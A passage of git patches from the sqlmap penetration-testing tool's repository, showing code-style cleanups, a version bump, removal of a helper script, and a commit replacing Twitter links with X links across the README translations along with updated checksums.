lib/techniques/union/test.py eb564696a2e0c8e8844c1593c77f7bb41e47ce89f213afe93cbba7f1190e91f0 lib/techniques/union/use.py -c09927bccdbdb9714865c9a72d2a739da745375702a935349ddb9edc1d50de70 lib/utils/api.py +05df07c99a37942b0e41abbf77fd1ee874c2ceaa6b4a81bae110560976b3cde6 lib/utils/api.py 1d72a586358c5f6f0b44b48135229742d2e598d40cefbeeabcb40a1c2e0b70b2 lib/utils/brute.py dd0b67fc2bdf65a4c22a029b056698672a6409eff9a9e55da6250907e8995728 lib/utils/crawler.py -eac125d270256eff54e39736a423dde866bac3b2bb4c76d3cbc32fc53b3bbb99 lib/utils/deps.py -0b83cc8657d5bea117c02facde2b1426c8fe35d9372d996c644d67575d8b755f lib/utils/getch.py +19c267b8d7326dd22d5b23511519fc66c77d3a89b706c2e93b15c5d0ce2815e3 lib/utils/deps.py +d6e8ffaca834424fe8833ef10a9e9cbc20a76217bf5b26895e1e510aac389801 lib/utils/getch.py c2a2fa68d2c575ab35f472d50b8d52dd6fc5e1b4d6c86a06ac06365650fec321 lib/utils/har.py e6376fb0c3d001b6be0ef0f23e99a47734cfe3a3d271521dbe6d624d32f19953 lib/utils/hashdb.py c746c4dcc976137d6e5eff858146dcf29f01637587d3bdb8e2f8a419fc64b885 lib/utils/hash.py @@ -473,7 +472,7 @@ e55aaf385c5c77963d9aa6ff4aa64a5f23e7c3122b763b02a7c97a6846d8a58f plugins/generi b3d9d0644197ecb864e899c04ee9c7cd63891ecf2a0d3c333aad563eef735294 plugins/generic/users.py 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 plugins/__init__.py 5a473c60853f54f1a4b14d79b8237f659278fe8a6b42e935ed573bf22b6d5b2c README.md -8c4fd81d84598535643cf0ef1b2d350cd92977cb55287e23993b76eaa2215c30 sqlmapapi.py +ea26a250120cfaac03dd8d9a65dd236afe9ea99978bdaa4c73a0588a27f55291 sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml 4121621b1accd6099eed095e9aa48d6db6a4fdfa3bbc5eb569d54c050132cbbf sqlmap.conf f84846b8493d809d697a75b3d13d904013bbb03e0edd82b724f4753801609057 sqlmap.py @@ -516,7 +515,7 @@ c390d072ed48431ab5848d51b9ca5c4ff323964a770f0597bdde943ed12377f8 tamper/luangin b262da8d38dbb4be64d42e0ab07e25611da11c5d07aa11b09497b344a4c76b8d tamper/modsecurityversioned.py fbb4ea2c764a1402293b71064183a6e929d5278afa09c7799747c53c3d3a9df3 tamper/modsecurityzeroversioned.py 91c7f96f3d0a3da9858e6ebebb337d6e3773961ff8e85af8b9e8458f782e75c0 tamper/multiplespaces.py -e0d800cfefa04fefed744956d4f3c17ccaeb1b59cb7a19c2796da4b1ebff6a3f tamper/ord2ascii.py +f4d87befddbc0474f61aee79a119ca0e77595bf8635a6b715c9d397e65a41a79 tamper/ord2ascii.py 50ebd172e152ed9154ff75acc45b95b3c406be2d2985fe1190bfb2f6a4077763 tamper/overlongutf8more.py a1e7d8907e7b4b25b1a418e8d5221e909096f719dcb611d15b5e91c83454ccdc tamper/overlongutf8.py 639b9cc83d94f536998b4efed8a88bed6ff8e9c67ea8381e87d1454cdea80293 tamper/percentage.py diff --git a/extra/shutils/modernize.sh b/extra/shutils/modernize.sh deleted file mode 100755 index de96e5dbf72..00000000000 --- a/extra/shutils/modernize.sh +++ /dev/null @@ -1,8 +0,0 @@ -#!/bin/bash - -# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) -# See the file 'LICENSE' for copying permission - -# sudo pip install modernize - -for i in $(find . -iname "*.py" | grep -v __init__); do python-modernize $i 2>&1 | grep -E '^[+-]' | grep -v range | grep -v absolute_import; done diff --git a/lib/controller/checks.py b/lib/controller/checks.py index f62cca5e9da..18560b9183d 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -277,7 +277,7 @@ def checkSqlInjection(place, parameter, value): logger.debug(debugMsg) continue - elif kb.reduceTests == False: + elif kb.reduceTests is False: pass # Skip DBMS-specific test if it does not match the @@ -529,7 +529,7 @@ def genCmpPayload(): truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode trueRawResponse = "%s%s" % (trueHeaders, truePage) - if trueResult and not(truePage == falsePage and not any((kb.nullConnection, conf.code))): + if trueResult and not (truePage == falsePage and not any((kb.nullConnection, conf.code))): # Perform the test's False request falseResult = Request.queryPage(genCmpPayload(), place, raise404=False) diff --git a/lib/core/common.py b/lib/core/common.py index 8fc73e956ba..7aa8570a543 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5301,7 +5301,7 @@ def _parseWebScarabLog(content): logger.warning(warnMsg) continue - if not(conf.scope and not re.search(conf.scope, url, re.I)): + if not (conf.scope and not re.search(conf.scope, url, re.I)): yield (url, method, None, cookie, tuple()) def _parseBurpLog(content): @@ -5451,7 +5451,7 @@ def _parseBurpLog(content): scheme = None port = None - if not(conf.scope and not re.search(conf.scope, url, re.I)): + if not (conf.scope and not re.search(conf.scope, url, re.I)): yield (url, conf.method or method, data, cookie, tuple(headers)) content = readCachedFileContent(reqFile) diff --git a/lib/core/option.py b/lib/core/option.py index a530bd1583f..87b7d36d2e6 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2699,7 +2699,6 @@ def _basicOptionValidation(): warnMsg += "option '--retry-on' was provided" logger.warning(warnMsg) - if conf.cookieDel and len(conf.cookieDel) != 1: errMsg = "option '--cookie-del' should contain a single character (e.g. ';')" raise SqlmapSyntaxException(errMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index bf0b899c6bf..7a3294bd947 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.5.10" +VERSION = "1.9.5.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index bcae39cbb57..543817e159d 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -227,7 +227,7 @@ def process(match, repl): conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = re.sub(r"(?si)(Content-Disposition:[^\n]+\s+name=\"(?P[^\"]+)\"(?:[^f|^b]|f(?!ilename=)|b(?!oundary=))*?)((%s)--)" % ("\r\n" if "\r\n" in conf.data else '\n'), - functools.partial(process, repl=r"\g<1>%s\g<3>" % kb.customInjectionMark), conf.data) + functools.partial(process, repl=r"\g<1>%s\g<3>" % kb.customInjectionMark), conf.data) if not kb.postHint: if kb.customInjectionMark in conf.data: # later processed diff --git a/lib/request/connect.py b/lib/request/connect.py index cdbbabca0d7..c9d97ed2763 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -624,7 +624,7 @@ class _(dict): raise SqlmapMissingDependence("outdated version of httpx detected (%s<%s)" % (httpx.__version__, MIN_HTTPX_VERSION)) try: - proxy_mounts = dict(("%s://" % key, httpx.HTTPTransport(proxy="%s%s" % ("http://" if not "://" in kb.proxies[key] else "", kb.proxies[key]))) for key in kb.proxies) if kb.proxies else None + proxy_mounts = dict(("%s://" % key, httpx.HTTPTransport(proxy="%s%s" % ("http://" if "://" not in kb.proxies[key] else "", kb.proxies[key]))) for key in kb.proxies) if kb.proxies else None with httpx.Client(verify=False, http2=True, timeout=timeout, follow_redirects=True, cookies=conf.cj, mounts=proxy_mounts) as client: conn = client.request(method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET), url, headers=headers, data=post) except (httpx.HTTPError, httpx.InvalidURL, httpx.CookieConflict, httpx.StreamError) as ex: diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index bd089e40f37..fdf07b93ee5 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -511,7 +511,7 @@ def blindThread(): currentCharIndex = threadData.shared.index[0] if kb.threadContinue: - val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset)) + val = getChar(currentCharIndex, asciiTbl, not (charsetType is None and conf.charset)) if val is None: val = INFERENCE_UNKNOWN_CHAR else: @@ -657,7 +657,7 @@ def blindThread(): if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: - val = getChar(index, asciiTbl, not(charsetType is None and conf.charset)) + val = getChar(index, asciiTbl, not (charsetType is None and conf.charset)) if val is None: finalValue = partialValue diff --git a/lib/utils/api.py b/lib/utils/api.py index 4105013a483..904ff10b986 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -787,7 +787,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non return commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "version", "exit", "bye", "quit") - colors = ('red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'lightgrey', 'lightred', 'lightgreen', 'lightyellow', 'lightblue', 'lightmagenta', 'lightcyan') + colors = ('red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'lightgrey', 'lightred', 'lightgreen', 'lightyellow', 'lightblue', 'lightmagenta', 'lightcyan') autoCompletion(AUTOCOMPLETE_TYPE.API, commands=commands) taskid = None diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 01184304deb..6d13781f45a 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -59,7 +59,7 @@ def checkDependencies(): elif dbmsName == DBMS.CUBRID: __import__("CUBRIDdb") elif dbmsName == DBMS.CLICKHOUSE: - __import__("clickhouse_connect") + __import__("clickhouse_connect") except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " diff --git a/lib/utils/getch.py b/lib/utils/getch.py index a19fb738981..62684d3d78e 100644 --- a/lib/utils/getch.py +++ b/lib/utils/getch.py @@ -16,7 +16,7 @@ def __init__(self): except ImportError: try: self.impl = _GetchMacCarbon() - except(AttributeError, ImportError): + except (AttributeError, ImportError): self.impl = _GetchUnix() def __call__(self): diff --git a/sqlmapapi.py b/sqlmapapi.py index bf1f11d5f95..dff5fe849da 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -105,7 +105,6 @@ def main(): apiparser.add_argument("--password", help="Basic authentication password (optional)") (args, _) = apiparser.parse_known_args() if hasattr(apiparser, "parse_known_args") else apiparser.parse_args() - # Start the client or the server if args.server: server(args.host, args.port, adapter=args.adapter, username=args.username, password=args.password, database=args.database) diff --git a/tamper/ord2ascii.py b/tamper/ord2ascii.py index 890a6eb346e..4207e31bb6d 100644 --- a/tamper/ord2ascii.py +++ b/tamper/ord2ascii.py @@ -16,11 +16,9 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces ORD() occurences with equivalent ASCII() calls - + Replaces ORD() occurences with equivalent ASCII() calls Requirement: * MySQL - >>> tamper("ORD('42')") "ASCII('42')" """ From eef4d27bb185e777eaf6a76fd65aac8eb57e1768 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 8 May 2025 22:45:18 +0200 Subject: [PATCH 170/853] Replacing Twitter references with X --- README.md | 4 +-- data/txt/sha256sums.txt | 54 +++++++++++++++---------------- doc/translations/README-bg-BG.md | 4 +-- doc/translations/README-ckb-KU.md | 4 +-- doc/translations/README-de-DE.md | 4 +-- doc/translations/README-es-MX.md | 4 +-- doc/translations/README-fa-IR.md | 4 +-- doc/translations/README-fr-FR.md | 4 +-- doc/translations/README-gr-GR.md | 4 +-- doc/translations/README-hr-HR.md | 4 +-- doc/translations/README-id-ID.md | 4 +-- doc/translations/README-in-HI.md | 4 +-- doc/translations/README-it-IT.md | 4 +-- doc/translations/README-ja-JP.md | 4 +-- doc/translations/README-ka-GE.md | 4 +-- doc/translations/README-ko-KR.md | 4 +-- doc/translations/README-nl-NL.md | 4 +-- doc/translations/README-pl-PL.md | 4 +-- doc/translations/README-pt-BR.md | 4 +-- doc/translations/README-rs-RS.md | 4 +-- doc/translations/README-ru-RU.md | 4 +-- doc/translations/README-sk-SK.md | 4 +-- doc/translations/README-tr-TR.md | 4 +-- doc/translations/README-uk-UA.md | 4 +-- doc/translations/README-vi-VN.md | 4 +-- doc/translations/README-zh-CN.md | 4 +-- extra/shutils/pypi.sh | 8 ++--- lib/core/settings.py | 2 +- 28 files changed, 82 insertions(+), 82 deletions(-) diff --git a/README.md b/README.md index 821ab02a5a6..6ff34badf5f 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections. @@ -45,7 +45,7 @@ Links * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * User's manual: https://github.com/sqlmapproject/sqlmap/wiki * Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 78619757dc0..eb3ceb63408 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -88,30 +88,30 @@ abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS 2a0322f121cbda30336ab58382e9860fea8ab28ff4726f6f8abf143ce1657abe doc/CHANGELOG.md 2df1f15110f74ce4e52f0e7e4a605e6c7e08fbda243e444f9b60e26dfc5cf09d doc/THANKS.md f939c6341e3ab16b0bb9d597e4b13856c7d922be27fd8dba3aa976b347771f16 doc/THIRD-PARTY.md -792bcf9bf7ac0696353adaf111ee643f79f1948d9b5761de9c25eb0a81a998c9 doc/translations/README-bg-BG.md -7f48875fb5a369b8a8aaefc519722462229ce4e6c7d8f15f7777092d337e92dd doc/translations/README-ckb-KU.md -4689fee6106207807ac31f025433b4f228470402ab67dd1e202033cf0119fc8a doc/translations/README-de-DE.md -2b3d015709db7e42201bc89833380a2878d7ab604485ec7e26fc4de2ad5f42f0 doc/translations/README-es-MX.md -f7b6cc0d0fdd0aa5550957db9b125a48f3fb4219bba282f49febc32a7e149e74 doc/translations/README-fa-IR.md -3eac203d3979977b4f4257ed735df6e98ecf6c0dfcd2c42e9fea68137d40f07c doc/translations/README-fr-FR.md -26524b18e5c4a1334a6d0de42f174b948a8c36e95f2ec1f0bc6582a14d02e692 doc/translations/README-gr-GR.md -d505142526612a563cc71d6f99e0e3eed779221438047e224d5c36e8750961db doc/translations/README-hr-HR.md -a381ff3047aab611cf1d09b7a15a6733773c7c475c7f402ef89e3afe8f0dd151 doc/translations/README-id-ID.md -e88d3312a2b3891c746f6e6e57fbbd647946e2d45a5e37aab7948e371531a412 doc/translations/README-in-HI.md -34a6a3a459dbafef1953a189def2ff798e2663db50f7b18699710d31ac0237f8 doc/translations/README-it-IT.md -2120fd640ae5b255619abae539a4bd4a509518daeff0d758bbd61d996871282f doc/translations/README-ja-JP.md -a8027759aaad33b38a52533dbad60dfba908fe8ac102086a6ad17162743a4fd9 doc/translations/README-ka-GE.md -343e3e3120a85519238e21f1e1b9ca5faa3afe0ed21fbb363d79d100e5f4cf0c doc/translations/README-ko-KR.md -f04fce43c6fb217f92b3bcae5ec151241d3c7ce951f5b98524d580aa696c5fa2 doc/translations/README-nl-NL.md -fc304f77f0d79ac648220cb804e5683abdf0f7d61863dda04a415297d1a835f4 doc/translations/README-pl-PL.md -f8a4659044c63f9e257960110267804184a3a9d5a109ec2c62b1f47bc45184e7 doc/translations/README-pt-BR.md -42f5d2ebffcf4b1be52005cc3e44f99df2c23713bd15c2bcedfe1c77760c3cf1 doc/translations/README-rs-RS.md -c94d5c9ae4e4b996eaf0d06a6c5323a12f22653bb53c5eaf5400ee0bccf4a1eb doc/translations/README-ru-RU.md -622d9a1f22d07e2fefdebbd6bd74e6727dc14725af6871423631f3d8a20a5277 doc/translations/README-sk-SK.md -6d690c314fe278f8f949b27cd6f7db0354732c6112f2c8f764dcf7c2d12d626f doc/translations/README-tr-TR.md -0bccce9d2e48e7acc1ef126539a50d3d83c439f94cc6387c1331a9960604a2cd doc/translations/README-uk-UA.md -285c997e8ae7381d765143b5de6721cad598d564fd5f01a921108f285d9603a2 doc/translations/README-vi-VN.md -b553a179c731127a115d68dfb2342602ad8558a42aa123050ba51a08509483f6 doc/translations/README-zh-CN.md +d739d4ced220b342316f5814216bdb1cb85609cd5ebb89e606478ac43301009e doc/translations/README-bg-BG.md +6882f232e5c02d9feb7d4447e0501e4e27be453134fb32119a228686b46492a5 doc/translations/README-ckb-KU.md +9bed1c72ffd6b25eaf0ff66ac9eefaa4efc2f5e168f51cf056b0daf3e92a3db2 doc/translations/README-de-DE.md +008c66ba4a521f7b6f05af2d28669133341a00ebc0a7b68ce0f30480581e998c doc/translations/README-es-MX.md +244cec6aee647e2447e70bbeaf848c7f95714c27e258ddbe7f68787b2be88fe9 doc/translations/README-fa-IR.md +8d31107d021f468ebbcaac7d59ad616e8d5db93a7c459039a11a6bfd2a921ce9 doc/translations/README-fr-FR.md +b9017db1f0167dda23780949b4d618baf877375dc14e08ebd6983331b945ed44 doc/translations/README-gr-GR.md +40cb977cb510b0b9b0996c6ada1bace10f28ff7c43eaab96402d7b9198320fd3 doc/translations/README-hr-HR.md +86b0f6357709e453a6380741cb05f39aa91217cf52da240d403ee8812cc4c95f doc/translations/README-id-ID.md +384bacdd547f87749ea7d73fcb01b25e4b3681d5bcf51ee1b37e9865979eb7c3 doc/translations/README-in-HI.md +21120d6671fe87c2d04e87de675f90f739a7cfe2b553db9b1b5ec31667817852 doc/translations/README-it-IT.md +0daaccf3ccb2d42ad4fbedf0c4059e8a100bb66d5f093c5912b9862bf152bbf6 doc/translations/README-ja-JP.md +81370d878567f411a80d2177d7862aa406229e6c862a6b48d922f64af0db8d14 doc/translations/README-ka-GE.md +8fb3c1b2ddb0efc9a7a1962027fa64c11c11b37eda24ea3dfca0854be73839d8 doc/translations/README-ko-KR.md +35bc7825417d83c21d19f7ebe288721c3960230a0f5b3d596be30b37e00e43c5 doc/translations/README-nl-NL.md +12d6078189d5b4bc255f41f1aae1941f1abe501abd2c0442b5a2090f1628e17d doc/translations/README-pl-PL.md +8d0708c2a215e2ee8367fe11a3af750a06bc792292cba8a204d44d03deb56b7d doc/translations/README-pt-BR.md +070cc897789e98f144a6b6b166d11289b3cda4d871273d2afe0ab81ac7ae90ad doc/translations/README-rs-RS.md +927743c0a1f68dc76969bda49b36a6146f756b907896078af2a99c3340d6cc34 doc/translations/README-ru-RU.md +65de5053b014b0e0b9ab5ab68fe545a7f9db9329fa0645a9973e457438b4fde5 doc/translations/README-sk-SK.md +43de61a9defc5eda42a6c3d746f422b43f486eacefb97862f637ab60650e9ef2 doc/translations/README-tr-TR.md +0db2d479b1512c948a78ce5c1cf87b5ce0b5b94e3cb16b19e9afcbed2c7f5cae doc/translations/README-uk-UA.md +82f9ec2cf2392163e694c99efa79c459a44b6213a5881887777db8228ea230fa doc/translations/README-vi-VN.md +0e8f0a2186f90fabd721072972c571a7e5664496d88d6db8aedcb1d0e34c91f0 doc/translations/README-zh-CN.md a438fbd0e9d8fb3d836d095b3bb94522d57db968bb76a9b5cb3ffe1834305a27 extra/beep/beep.py 509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9 extra/beep/beep.wav 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 extra/beep/__init__.py @@ -152,7 +152,7 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/ 1909f0d510d0968fb1a6574eec17212b59081b2d7eb97399a80ba0dc0e77ddd1 extra/shutils/pycodestyle.sh 026af5ba1055e85601dcdcb55bc9de41a6ee2b5f9265e750c878811c74dee2b0 extra/shutils/pydiatra.sh 2ce9ac90e7d37a38b9d8dcc908632575a5bafc4c75d6d14611112d0eea418369 extra/shutils/pyflakes.sh -02adeb5acf8f9330ce5e5f36c9a98d6114948c6040f76dd4f1ed3385d72f6d6f extra/shutils/pypi.sh +a5081e1b469ccfd37171695adb355ab94ed90c2a34aca3c10695229049970fc6 extra/shutils/pypi.sh df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 extra/vulnserver/__init__.py @@ -186,7 +186,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -8c697de92344bc70e2facf998d497a734b6ac22804684c17a33d099c8aaee3dd lib/core/settings.py +3ba67a00ff2ce430af950520d6bb336ab954d3a51f7b86e6f3af43992253d709 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 32d0752f1a88c52b049cbe1aedff6e0afb794544ff689f54cb72e159b8d5177c lib/core/target.py @@ -471,7 +471,7 @@ e55aaf385c5c77963d9aa6ff4aa64a5f23e7c3122b763b02a7c97a6846d8a58f plugins/generi 8f372843e22df12006cdf68eb6c9715294f9f3a4fbc44a6a3a74da4e7fcdb4a7 plugins/generic/takeover.py b3d9d0644197ecb864e899c04ee9c7cd63891ecf2a0d3c333aad563eef735294 plugins/generic/users.py 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 plugins/__init__.py -5a473c60853f54f1a4b14d79b8237f659278fe8a6b42e935ed573bf22b6d5b2c README.md +90530922cac9747a5c7cf8afcc86a4854ee5a1f38ea0381a62d41fc74afe549a README.md ea26a250120cfaac03dd8d9a65dd236afe9ea99978bdaa4c73a0588a27f55291 sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml 4121621b1accd6099eed095e9aa48d6db6a4fdfa3bbc5eb569d54c050132cbbf sqlmap.conf diff --git a/doc/translations/README-bg-BG.md b/doc/translations/README-bg-BG.md index 77c87d538fb..af3de550924 100644 --- a/doc/translations/README-bg-BG.md +++ b/doc/translations/README-bg-BG.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната система. @@ -45,6 +45,6 @@ sqlmap работи самостоятелно с [Python](https://www.python.or * Проследяване на проблеми и въпроси: https://github.com/sqlmapproject/sqlmap/issues * Упътване: https://github.com/sqlmapproject/sqlmap/wiki * Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-ckb-KU.md b/doc/translations/README-ckb-KU.md index f84d93f8616..6bb8fca22bc 100644 --- a/doc/translations/README-ckb-KU.md +++ b/doc/translations/README-ckb-KU.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap)
@@ -60,7 +60,7 @@ sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https * شوێنپێهەڵگری کێشەکان: https://github.com/sqlmapproject/sqlmap/issues * ڕێنمایی بەکارهێنەر: https://github.com/sqlmapproject/sqlmap/wiki * پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* X: [@sqlmap](https://twitter.com/sqlmap) +* X: [@sqlmap](https://x.com/sqlmap) * دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە diff --git a/doc/translations/README-de-DE.md b/doc/translations/README-de-DE.md index 2c4df73bdf5..379a0575c52 100644 --- a/doc/translations/README-de-DE.md +++ b/doc/translations/README-de-DE.md @@ -1,6 +1,6 @@ # sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) 